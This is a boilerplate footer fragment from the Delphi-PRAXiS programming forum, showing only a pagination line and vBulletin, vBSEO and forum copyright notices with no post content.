Seite 1 von 2  1 2      

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz